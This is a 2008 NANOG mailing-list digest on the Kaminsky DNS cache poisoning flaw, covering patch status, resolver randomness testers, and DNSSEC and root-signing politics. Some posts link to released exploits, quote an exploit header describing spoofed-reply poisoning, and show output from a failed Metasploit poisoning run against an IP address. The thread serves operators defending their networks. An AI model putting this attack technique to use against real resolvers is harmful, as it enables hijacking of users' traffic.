Hope they finish patching son!
Ken

-- 
Ken Anderson
Pacific.Net

Re: 2nd Exploit for DNS Cache Poisoning - RELEASED

[Paul Ferguson]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- -- "Tuc at T-B-O-H.NET" <[EMAIL PROTECTED]> wrote:

>Not sure if anyone has seen yet, but there is a 2nd
>exploit being circulated. I just picked it up on metasploits
>SVN trunk

I haven't seen that one yet, but I just ran across this:

http://www.milw0rm.com/exploits/6123

- - ferg


-BEGIN PGP SIGNATURE-
Version: PGP Desktop 9.6.3 (Build 3017)

wj8DBQFIiNBFq1pz9mNUZTMRAozhAKD+IkD/HGywNFttPI6ilKreNGP0UQCeKZ98
u76UOCvKXD9+zvdlSR8S/oc=
=N5am
-END PGP SIGNATURE-

--
"Fergie", a.k.a. Paul Ferguson
 Engineering Architecture for the Internet
 fergdawg(at)netzero.net
 ferg's tech blog: http://fergdawg.blogspot.com/

Re: Independent Testing for Network Hardware

[Thomas Maufer]

I apologize for neglecting to mention the excellent test labs I've worked
with in Europe, including EANTC (in Germany) and West Coast Labs (in Wales,
I believe). Both are highly reputable and have access to lots of test
equipment (and they know how to use it!).






On Mon, Jul 21, 2008 at 11:13 PM, Thomas Maufer <[EMAIL PROTECTED]> wrote:

> Isocore is good, but there are many others to choose from: Network Test,
> ExtremeLabs, Miercom, Core Competence, Opus One, in no particular order. I
> can personally recommend all of those (I have no experience with Tolly so I
> can't recommend them).
>
> If you are really interested in application performance, a lab is probably
> a better choice than a hardware purchase since they can help you interpret
> the results, especially if you'll be like most test equipment users (having
> test equipment used more than 10% of the time is rare). The results you'll
> get from Ixia's and Spirent's load testing tools are pretty cut and
> dried...very straightforward to interpret but depending on your application
> maybe relatively meaningless. For application performance, there are many
> tools you could consider, many of which are very specialized and thus don't
> have broad applicability.
>
> I'd recommend talking to any of the labs above and see what kind of testing
> they would use in a given situation before you run out and buy some test
> equipment. Good luck!
>
>
>
>
>
>
> On Mon, Jul 21, 2008 at 10:09 AM, Tomas L. Byrnes <[EMAIL PROTECTED]>
> wrote:
>
>> For independent testing, Kevin Tolly's been at it a long time, and has
>> shown himself to be fair.
>>
>> http://www.tolly.com/
>>
>>
>>
>> > -Original Message-
>> > From: Sean Hafeez [mailto:[EMAIL PROTECTED]
>> > Sent: Friday, July 18, 2008 2:07 PM
>> > To: Frank P. Troy
>> > Cc: [EMAIL PROTECTED]; [EMAIL PROTECTED]
>> > Subject: Re: Independent Testing for Network Hardware
>> >
>> > IXIA makes a nice product depending on what you want to do. I
>> > have one here with some 10G line cards.
>> >
>> > -Sean
>> >
>> > On Jul 10, 2008, at 3:02 PM, Frank P. Troy wrote:
>> >
>> > > I can recommend Isocore http://www.isocore.com/ (the same
>> > folks that
>> > > run the MPLS conference).  Talk to Rajiv Papneja
>> > > [EMAIL PROTECTED]
>> > >
>> > > Regards,
>> > > Frank
>> > >
>> > > 
>> > >   Frank P. Troy
>> > >   703-396-8700
>> > >   [EMAIL PROTECTED]
>> > > -
>> > >
>> > >
>> > > -Original Message-
>> > > From: Brian Knoll (TT) [mailto:[EMAIL PROTECTED]
>> > > Sent: Thursday, July 10, 2008 11:16 AM
>> > > To: [EMAIL PROTECTED]
>> > > Subject: Independent Testing for Network Hardware
>> > >
>> > > Can anyone recommend a reliable independent testing company
>> > that tests
>> > > network hardware performance?
>> > >
>> > >
>> > >
>> > > We are considering buying testing hardware (right now we
>> > are looking
>> > > at Spirent TestCenter) and I wanted to see if there were other
>> > > options...
>> > >
>> > >
>> > >
>> > > Brian Knoll
>> > >
>> > >
>> > >
>> > >
>> > >
>> > >
>> > >
>> >
>> >
>> >
>>
>>
>

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Sean Donelan]

On Thu, 24 Jul 2008, Paul Vixie wrote:

I believe at&t has already said they are testing the patch and will deploy
it as soon as their testing is completed.  Other than you, I have not
heard anyone in at&t say they are refusing to patch.


i read at&t write that this was a rehash of a previously known issue.

i heard at&t tell a customer that they were in no hurry to patch.


If the customer believes AT&T reputation is more reliable than Paul 
Vixie's reputation (not saying they are right or wrong, just if);

point out at&t said they are testing the patch and plan to deploy
it as soon as their testing is finished.

If the customer believes at&t, the customer should also at least be
testing the patch NOW and should deploy it WHEN they finish testing it.

That is not the same as "refusing to patch."  Test Patch->Deploy Patch.

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Hank Nussbacher]

On Thu, 24 Jul 2008, Duane Wessels wrote:

Suggestion - add to the bottom of the results page a link to the CERT 
page:

http://www.kb.cert.org/vuls/id/800113

-Hank


Give this one a try:

http://entropy.dns-oarc.net/test/

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Rubens Kuhl Jr.]

Some broadband providers here in .br seems to be blocking access to
the dns-oarc.net test zone (but not to the portal site); most thought
it was intended behavior by those providers (hiding instead of
patching), but you are right, someone might have corrupted the test
zone itself, which aleviates the pressure on the provider to patch it
which in turn keeps the exploits working for more time.



Rubens




On Thu, Jul 24, 2008 at 3:45 PM, Scott Berkman
<[EMAIL PROTECTED]> wrote:
> Is it just me or is the test page below down now?
>
> Or maybe some poisoned the NS record for dns-oarc.net and sent it to
> nowhere to stop testing! (J/K since I can get to the rest of the page
> fine).
>
>-Scott
>
> -Original Message-
> From: Ken A [mailto:[EMAIL PROTECTED]
> Sent: Thursday, July 24, 2008 2:40 PM
> To: Steve Tornio
> Cc: [EMAIL PROTECTED]
> Subject: Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally
> leaked?
>
> Steve Tornio wrote:
>>
>> On Jul 24, 2008, at 12:17 PM, Duane Wessels wrote:
>>
 xpara.com tests to lock up my iPhone, or I would use that checker to
 verify the iPhone DNS.  Anyone have a link to a decent test that I
 could run on the iPhone?
>>>
>>> Give this one a try:
>>>
>>> http://entropy.dns-oarc.net/test/
>>>
>>
>> In this test, my iPhone reports:
>>
>> 209.183.33.23 Source Port Randomness: GREAT
>> 209.183.33.23 Transaction ID Randomness: GREAT
>>
>> I encourage anyone else concerned with their providers to actually test
>> them instead of taking anyone's word for it.
>>
>> Steve
>>
>
> on AT&T you might want to run it more than once.. Mine shows POOR 1 out
> of 5 times. :-(
> Hope they finish patching son!
> Ken
>
> --
> Ken Anderson
> Pacific.Net
>
>
>
>

RE: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Justin M. Streiner]

On Thu, 24 Jul 2008, Scott Berkman wrote:

Is it just me or is the test page below down now?

Or maybe some poisoned the NS record for dns-oarc.net and sent it to
nowhere to stop testing! (J/K since I can get to the rest of the page
fine).


Might be the Slashdot effect, in a manner of speaking, since the NANOG 
community is quite large.


jms

Re: 2nd Exploit for DNS Cache Poisoning - RELEASED

[Tuc at T-B-O-H.NET]

> - -- "Tuc at T-B-O-H.NET" <[EMAIL PROTECTED]> wrote:
> 
> >Not sure if anyone has seen yet, but there is a 2nd
> >exploit being circulated. I just picked it up on metasploits
> >SVN trunk
> 
> I haven't seen that one yet, but I just ran across this:
> 
> http://www.milw0rm.com/exploits/6123
> 
> - - ferg
> 
> 
Sorry, block from the new one :

===/
Exploit ID: CAU-EX-2008-0003
Release Date:   2008.07.23
Title:  bailiwicked_domain.rb
Description:Kaminsky DNS Cache Poisoning Flaw Exploit for Domains
Tested: BIND 9.4.1-9.4.2
Attributes: Remote, Poison, Resolver, Metasploit
Exploit URL:http://www.caughq.org/exploits/CAU-EX-2008-0003.txt
Author/Email:   I)ruid 
H D Moore 
===/

Tuc/TBOH

Question: 2nd Exploit for DNS Cache Poisoning - RELEASED

[Jack Bates]

Tuc at T-B-O-H.NET wrote:

The new one is called "baliwicked_domain" and its described
as :

This exploit attacks a fairly ubiquitous flaw in DNS implementations which 
Dan Kaminsky found and disclosed ~Jul 2008.  This exploit replaces the target

domains nameserver entries in a vulnerable DNS cache server. This attack works
by sending random hostname queries to the target DNS server coupled with spoofed
replies to those queries from the authoritative nameservers for that domain.
Eventually, a guessed ID will match, the spoofed packet will get accepted, and
the nameserver entries for the target domain will be replaced by the server
specified in the NEWDNS option of this exploit.


All this sounds good and dandy, but I'm not sure the guessing is the problem. 
Why is a resolver replacing an existing cached entry with a new entry? If the 
entry changes, at most, the resolver should be removing it from cache. In this 
regards, the exploit would not only have to hit it once, but twice, and they'd 
have to manage the exploit *BEFORE* the official server returned it's own 
authority records for caching.


While I agree the source port is a good thing (and reduces poisoning issues even 
when an authoritative server isn't responding), I question if it can actually 
succeed at beating the authoritative domain's NS reliably, and if it is 
overwriting a cache, if the more exploitable issue is the cache overwrite versus 
staling the entry from cache early and letting the next query request from the 
authoritative server.


I'm just curious. It doesn't make much sense.

Jack Bates

RE: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[marcus.sachs]

Here's some older ones:

http://pdp-10.trailing-edge.com/cgi-bin/searchbyname?name=hosts.txt 

Prior to departing SRI last year I spent a bunch of time trying to find some of 
the old SRI-NIC records.  It appears that they were all cleaned out once the 
contract was closed and the Internet was handed over to Network Solutions.  I 
think that a lot of old records still exist in personal file cabinets and 
garages around Menlo Park but nothing "official" is on the campus of SRI.

Marc

-Original Message-
From: Tuc at T-B-O-H [mailto:[EMAIL PROTECTED] 

> 
> Jorge Amodio wrote:
> 
> > /etc/hosts rulez !!! :-)
> 
> Wonder if SRI wstill has the files.
>
UNOFFICIAL copy from 15-Apr-94 :

http://ftp.univie.ac.at/netinfo/netinfo/hosts.txt

Tuc/TBOH

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Greg Skinner]

There was a discussion on the internet-history mailing list some time
ago about old hosts.txt files.  You might also check the Computer
History Museum in Mountain View, where BTW Jake Feinler volunteers.

http://www.postel.org/internet-history.htm

--gregbo

On Thu, Jul 24, 2008 at 03:54:23PM -0400, [EMAIL PROTECTED] wrote:
> Here's some older ones:
> 
> http://pdp-10.trailing-edge.com/cgi-bin/searchbyname?name=hosts.txt 
> 
> Prior to departing SRI last year I spent a bunch of time trying to find some 
> of the old SRI-NIC records.  It appears that they were all cleaned out once 
> the contract was closed and the Internet was handed over to Network 
> Solutions.  I think that a lot of old records still exist in personal file 
> cabinets and garages around Menlo Park but nothing "official" is on the 
> campus of SRI.
> 
> Marc

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Richard Parker]

On Jul 24, 2008, at 10:17 AM, Duane Wessels wrote:

Give this one a try:

http://entropy.dns-oarc.net/test/


For one iPhone it reported 209.183.54.151 as having GREAT source port  
randomness and GREAT transaction ID randomness.  However, despite the  
test reporting GREAT, the source ports were _definitely_ non-random.


http://5d93b9656563a44e4c900ff9.et.dns-oarc.net/

-Richard

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Deepak Jain]

For one iPhone it reported 209.183.54.151 as having GREAT source port 
randomness and GREAT transaction ID randomness.  However, despite the 
test reporting GREAT, the source ports were _definitely_ non-random.


http://5d93b9656563a44e4c900ff9.et.dns-oarc.net/




"Proving random" is not easy. Proving random that isn't done by certain 
methods (i.e. certain algorithms or certain sources of entropy) is easier.


Deepak

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Jason Frisvold]

On Thu, Jul 24, 2008 at 1:14 PM, Paul Vixie <[EMAIL PROTECTED]> wrote:
> in spite of that caution i am telling you all, patch, and patch now.  if you
> have firewall or NAT configs that prevent it, then redo your topology -- NOW.
> and make sure your NAT isn't derandomizing your port numbers on the way out.
>
> and if you have time after that, write a letter to your congressman about the
> importance of DNSSEC, which sucks green weenies, and is a decade late, and
> which has no business model, but which the internet absolutely dearly needs.

So is this patch a "true" fix or just a temporary fix until further
work can be done on the problem?  I listened to Dan's initial
presentation and I've read a lot of speculation since then.  I've also
taken a look at the various blog entries that detail the problem.  I
believe I understand what the issue is and I can see how additional
randomization helps.  But it that truly an end-all fix, or is this
just the initial cry to stop short-term hijacking?

-- 
Jason 'XenoPhage' Frisvold
[EMAIL PROTECTED]
http://blog.godshell.com

Re: Exploit for DNS Cache Poisoning - RELEASED

[Eric Brunner-Williams]

Neil Suryakant Patel is the nominee for AS for Communications and 
Information at DoC. If he's in the loop, even "advisory pending ...", 
and as a Cheney staffer (intially staff secretary, now as a domestic and 
economic policy adviser), that's possible, then adjust expectations 
accordingly.


Paul Vixie wrote:

[EMAIL PROTECTED] ("Jorge Amodio") writes:

  

As I mentioned in another message, perhaps its time to get serious about
DNSSEC, where are we on this front ?



Still waiting for US-DoC to give ICANN/IANA permission to sign the root zone.
  

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Jay R. Ashworth]

On Thu, Jul 24, 2008 at 1:14 PM, Paul Vixie <[EMAIL PROTECTED]> wrote:
> and if you have time after that, write a letter to your congressman about the
> importance of DNSSEC, which sucks green weenies, and is a decade late, and
> which has no business model, but which the internet absolutely dearly needs.

Ok.  I'm just a small-edge-networks weenie; IANAI, or anything else
big like all that.  So I usually try to listen more than I talk.

But it seems to me that Paul, you are here espousing the opinion that
there's no business value in people being able to trust that the domain
name they heard on a TV ad and typed into a browser (let's ignore phishing
for the moment) actually takes them to E-Trade, and not RBN.

Am I misunderstanding you?

Cause I see business value in trying to perpetuate that condition.

I don't say it's easy to sell to suits.  But that doesn't make it
unnecessary.

I also don't say it's the only way to guarantee that trustability.  But
what else have you?

Cheers,
-- jra
-- 
Jay R. Ashworth   Baylink  [EMAIL PROTECTED]
Designer The Things I Think   RFC 2100
Ashworth & Associates http://baylink.pitas.com '87 e24
St Petersburg FL USA  http://photo.imageinc.us +1 727 647 1274

 Those who cast the vote decide nothing.
 Those who count the vote decide everything.
   -- (Josef Stalin)

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Paul Vixie]

> So is this patch a "true" fix or just a temporary fix until further
> work can be done on the problem?

the only true fix is DNSSEC.  meanwhile we'll do UDP port randomization,
plus we'll randomize the 0x20 bits in QNAMEs, plus we'll all do what
nominum does and retry with TCP if there's a QID mismatch while waiting for
a response, and we'll start thinking about using TKEY and TSIG for
stub-to-RDNS relationships.

but the only true long term fix for this is DNSSEC.  all else is bandaids,
which is a shame, since it's a sucking chest wound and bandaids are silly.

> But it that truly an end-all fix, or is this just the initial cry to stop
> short-term hijacking?

all we're trying to do is keep the 'net running long enough to develop
and deploy DNSSEC, which would be much harder if updates.microsoft.com
almost never points to a microsoft-owned computer.

-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Paul Vixie]

[EMAIL PROTECTED] ("Jay R. Ashworth") writes:

>> and if you have time after that, write a letter to your congressman
>> about the importance of DNSSEC, which sucks green weenies, and is a
>> decade late, and which has no business model, but which the internet
>> absolutely dearly needs.
>
> But it seems to me that Paul, you are here espousing the opinion that
> there's no business value in people being able to trust that the domain
> name they heard on a TV ad and typed into a browser (let's ignore phishing
> for the moment) actually takes them to E-Trade, and not RBN.
>
> Am I misunderstanding you?

yes.  and if you re-ask this on [EMAIL PROTECTED], i'll explain.
-- 
Paul Vixie

-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.

RE: Exploit for DNS Cache Poisoning - RELEASED

[Tomas L. Byrnes]

The problem is, once the ICANNt root is self-signed, the hope of ever
revoking that dysfunctional mess as authority is gone.

Perhaps the IETF or DoC should sign the root, that way we have a prayer
of wresting control from ICANN, as opposed to paying a tax, in
perpetuity, for registration services to an unaccountable, unelected,
and imperious body?

Some of us don't think the UN/EU/ITU are good models for governance.

IE: Separation of powers. ICANN/IANA is granted (interim) authority to
operate, but some other governing body signs.



> -Original Message-
> From: Paul Vixie [mailto:[EMAIL PROTECTED] 
> Sent: Thursday, July 24, 2008 9:13 AM
> To: [EMAIL PROTECTED]
> Subject: Re: Exploit for DNS Cache Poisoning - RELEASED
> 
> [EMAIL PROTECTED] ("Jorge Amodio") writes:
> 
> > As I mentioned in another message, perhaps its time to get serious 
> > about DNSSEC, where are we on this front ?
> 
> Still waiting for US-DoC to give ICANN/IANA permission to 
> sign the root zone.
> --
> Paul Vixie
> 
> --
> This message has been scanned for viruses and dangerous 
> content by MailScanner, and is believed to be clean.
> 
> 
> 

Re: https (was: Re: Exploit for DNS Cache Poisoning - RELEASED)

[Jeffrey Ollie]

On Thu, Jul 24, 2008 at 3:05 AM, Steven M. Bellovin <[EMAIL PROTECTED]> wrote:
>
> The round trip issue affects latency, which in turn affects perceived
> responsiveness.  This is quite definitely the reason why gmail doesn't
> always use https (though it, unlike some other web sites, doesn't
> refuse to use it).

Interestingly enough, Google just added a feature to GMail to force
secure connections:

http://googlesystem.blogspot.com/2008/07/force-gmail-to-use-secure-connection.html

Jeff

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Valdis . Kletnieks]

On Thu, 24 Jul 2008 17:31:01 EDT, "Jay R. Ashworth" said:

> But it seems to me that Paul, you are here espousing the opinion that
> there's no business value in people being able to trust that the domain
> name they heard on a TV ad and typed into a browser (let's ignore phishing
> for the moment) actually takes them to E-Trade, and not RBN.

The problem is that the business value, in general, accrues to the wrong
people.

It's useful and valuable for the *end user* and for *E-Trade* to be able to be
sure they didn't go to RBN. The problem is that Joe Sixpack points his
resolver stub at "Bubba's Bait, Tackle, and Internet Emporium ISP", and it's
Bubba that has to fix stuff.

And Bubba doesn't have a clear way to make money off the fixing - there's no
way Bubba can explain to Joe that Bubba is more secure than the *other* bait,
tackle, and DSL reseller in town, because Joe can't understand the problem

It doesn't help that apparently there's some multi-billion-dollar Bubbas out 
there.



pgpPyiIK806VG.pgp
Description: PGP signature

Issues with testing tests (DNS randomization checks)

[Sean Donelan]

There are several threads about various DNS testing tools sometimes
reporting ISPs have or have not "patched/changed" their DNS servers.

This particular thread collects several of the issues in regards to
the Comcast DNS servers, but the same issues with the testing sites
is applicable to anyone testing other DNS servers.

http://www.dslreports.com/forum/r20839639-DNS-Comcast-and-the-DNS-Server-flaw-issue

Re: Exploit for DNS Cache Poisoning - RELEASED

[David Conrad]

On Jul 24, 2008, at 4:24 PM, Tomas L. Byrnes wrote:

The problem is, once the ICANNt root is self-signed, the hope of ever
revoking that dysfunctional mess as authority is gone.


Sorry, I don't follow -- sounds like FUD to me.  Care to explain this?

As far as I'm aware, as long as the KSK isn't compromised, changing  
the organization who holds the KSK simply means waiting until the next  
KSK rollover and have somebody else do the signing.



Perhaps the IETF


You mean oh say IANA?


or DoC


That'll be popular in the international community.


should sign the root, that way we have a prayer
of wresting control from ICANN, as opposed to paying a tax, in



perpetuity, for registration services to an unaccountable, unelected,
and imperious body?


Registration fees are unrelated to signing the root, but thanks for  
the gratuitous ICANN bashing.  It was missing in this thread -- I was  
wondering when it would show up.



Some of us don't think the UN/EU/ITU are good models for governance.


Indeed.


IE: Separation of powers. ICANN/IANA is granted (interim) authority to
operate, but some other governing body signs.



So you want to increase the role ICANN/IANA has in root zone  
management.  Interesting.


Regards,
-drc

Re: Exploit for DNS Cache Poisoning - RELEASED

[Valdis . Kletnieks]

On Thu, 24 Jul 2008 17:43:10 PDT, David Conrad said:
> On Jul 24, 2008, at 4:24 PM, Tomas L. Byrnes wrote:
>> The problem is, once the ICANNt root is self-signed, the hope of ever
>> revoking that dysfunctional mess as authority is gone.

> As far as I'm aware, as long as the KSK isn't compromised, changing  
> the organization who holds the KSK simply means waiting until the next  
> KSK rollover and have somebody else do the signing.

That's true if the ICANN KSK is signed *by some other entity* - that entity
can then force a change by signing some *other* KSK for the next rollover.

If the ICANN key is self-signed as Tomas hypothesizes, then that leverage
evaporates.
If  


pgpWohl3t8DWO.pgp
Description: PGP signature

Re: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning- RELEASED

[Gadi Evron]

On Thu, 24 Jul 2008, Steve Bertrand wrote:

Gadi Evron wrote:

On Thu, 24 Jul 2008, Martin Hannigan wrote:



I personally know several folks from within and wayyy from outside the
DNS
world who discovered this very out there and obvious issue and worked
hard
to try and contact the operators. Those that haven't fixed it yet,
likely
won't if all thing remain even.



I don't know that a failure to act immediately is indicative of ignoring
the problem. Not to defend AT&T or any other provider, but it's not as
simple as rolling out a patch.


Marty, are we talking of the same problem? I am talking about recursion 
enabled in bind?


I'm confused by the last sentence. I don't understand if you are asking a 
question, or stating that recursion should be disabled.


If it is a statement, then you must mean that ops should disable recursion, 
and enable forwarding for name resolution, correct? In this case, its been 
proven that having an upstream forward that is 'broken' will have the exact 
same effect as having a broken recursive server.


My apologies if I've misunderstood your comment.


We are talking about ccTLD NS.

Gadi.

[OT] 2008 Infrastructure Security Survey

[Danny McPherson]

Folks,
The 2008 Infrastructure Security Survey is up and available for
input.  You can register to complete the survey at this URL:



I've added many questions this time from past participants
of the survey, this should be evidenced throughout.  Thanks
to all those that reviewed and provided questions explicitly
for this edition.  The survey response window will be ~2
weeks.

We hope to make the results available by the end of September
at the latest.  Also, please recall that NO personally (or
organizationally) identifiable information will be shared in any
manner.

The 2007 edition of the survey is available here:



Or on the Arbor web site (reg required):



Thanks in advance for your participation!

-danny

Re: Exploit for DNS Cache Poisoning - RELEASED

[Paul Vixie]

"Tomas L. Byrnes" <[EMAIL PROTECTED]> wrote:
> The problem is, once the ICANNt root is self-signed, the hope of ever
> revoking that dysfunctional mess as authority is gone.

that sounds like the kind of foot-dragging that could be holding this up.

> Perhaps the IETF or DoC should sign the root, that way we have a prayer
> of wresting control from ICANN, as opposed to paying a tax, in
> perpetuity, for registration services to an unaccountable, unelected,
> and imperious body?

apparently when the internet was invented nobody gave any thought to all
kinds of stuff including classful addressing (how were we going to route
16 million class C's anyway?), settlements (aren't AS701 and LVLT also
somewhat imperious?), unwanted traffic (spam, DoS), address space longevity
and/or conservation, routing table bloat and churn, traffic source
authenticity (UDP, SMTP, syslog, ICMP, you name it)... and now you're
trying to say that we don't know how to govern it long-term either?

> Some of us don't think the UN/EU/ITU are good models for governance.

probably most of us.  however, there are certain things that can only get
done that way (country code assignments in postal and telephony space for
example) and i try to keep this in mind and continually forgive those who
mistakenly believe that IP addresses or domain names are like that at all.

> IE: Separation of powers. ICANN/IANA is granted (interim) authority to
> operate, but some other governing body signs.

the other party would have to sign every change.  probably that's what will
happen, IANA will edit, USG will hire some beltway bandit to hold the keys
and do the signing, and then the rootops will publish.  and i'm ok with
that except that it's taking too long to get it going, and i can't seem to
find the person whose desk it's sitting on so that i can offer them my help.
(noting that they may not need or want my help, but i'd rather offer my
help than just sit back and complain.)

-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.

Re: https (was: Re: Exploit for DNS Cache Poisoning - RELEASED)

[Hank Nussbacher]

On Thu, 24 Jul 2008, Jeffrey Ollie wrote:


Interestingly enough, Google just added a feature to GMail to force
secure connections:

http://googlesystem.blogspot.com/2008/07/force-gmail-to-use-secure-connection.html

Jeff


I wish Yahoo and Hotmail even had the ability of *reading* email via 
https:

http://www.interall.co.il/hotmail-yahoo-https.html

And then MS doesn't quite understand why people prefer Gmail to Hotmail 
:-)


-Hank

Re: Exploit for DNS Cache Poisoning - RELEASED

[Ganbold Tsagaankhuu]

On Thu, Jul 24, 2008 at 10:32 AM, Tuc at T-B-O-H.NET <[EMAIL PROTECTED]> wrote:

> > - -- "Robert D. Scott" <[EMAIL PROTECTED]> wrote:
> >
> > >Now, there is an exploit for it.
> > >
> > >http://www.caughq.org/exploits/CAU-EX-2008-0002.txt
> >
> > Now also (mirrored) here:
> >
> >  http://www.milw0rm.com/exploits/6122
> >
> > ...and probably a slew of other places, too. ;-)
> >
> The changes the put into metasploit for this don't seem
> to work if running from FreeBSD 5.5, possibly other BSD's and
> versions from talking to the author.
>
>Tuc/TBOH
>
>
True. On FreeBSD 7.0-STABLE (updated on Fri May 23) it fails to create raw
socket:
...
[-] This module is configured to use a raw IP socket. On Unix systems, only
the root user is allowed to create raw sockets.Please run the framework as
root to use this module.

[*] Attempting to inject poison records for example.com.'s nameservers into
202.72.241.4:55088...
[-] Auxiliary failed: undefined method `sendto' for nil:NilClass

Re: Exploit for DNS Cache Poisoning - RELEASED

[Tuc at T-B-O-H.NET]

> 
> On Thu, Jul 24, 2008 at 10:32 AM, Tuc at T-B-O-H.NET <[EMAIL PROTECTED]> 
> wrote:
> 
> > > - -- "Robert D. Scott" <[EMAIL PROTECTED]> wrote:
> > >
> > > >Now, there is an exploit for it.
> > > >
> > > >http://www.caughq.org/exploits/CAU-EX-2008-0002.txt
> > >
> > > Now also (mirrored) here:
> > >
> > >  http://www.milw0rm.com/exploits/6122
> > >
> > > ...and probably a slew of other places, too. ;-)
> > >
> > The changes the put into metasploit for this don't seem
> > to work if running from FreeBSD 5.5, possibly other BSD's and
> > versions from talking to the author.
> >
> >Tuc/TBOH
> >
> >
> True. On FreeBSD 7.0-STABLE (updated on Fri May 23) it fails to create raw
> socket:
> ...
> [-] This module is configured to use a raw IP socket. On Unix systems, only
> the root user is allowed to create raw sockets.Please run the framework as
> root to use this module.
> 
> [*] Attempting to inject poison records for example.com.'s nameservers into
> 202.72.241.4:55088...
> [-] Auxiliary failed: undefined method `sendto' for nil:NilClass
> 
Sorry, I just checked it on 7.0 earlier today.

If you happen to know any FreeBSD Ruby programmers with heavy socket
experience, it would really be helpful. :-D 

I haven't tried the Python one yet. Probably later today.

Tuc/TBOH

Re: https (was: Re: Exploit for DNS Cache Poisoning - RELEASED)

[Jim Popovitch]

On Thu, Jul 24, 2008 at 11:24 PM, Hank Nussbacher <[EMAIL PROTECTED]> wrote:
> I wish Yahoo and Hotmail even had the ability of *reading* email via https:
> http://www.interall.co.il/hotmail-yahoo-https.html

Hah!  It was only a year ago that Yahoo even added SSL capabilities
for login.  Six months ago they added POP3S.

-Jim P.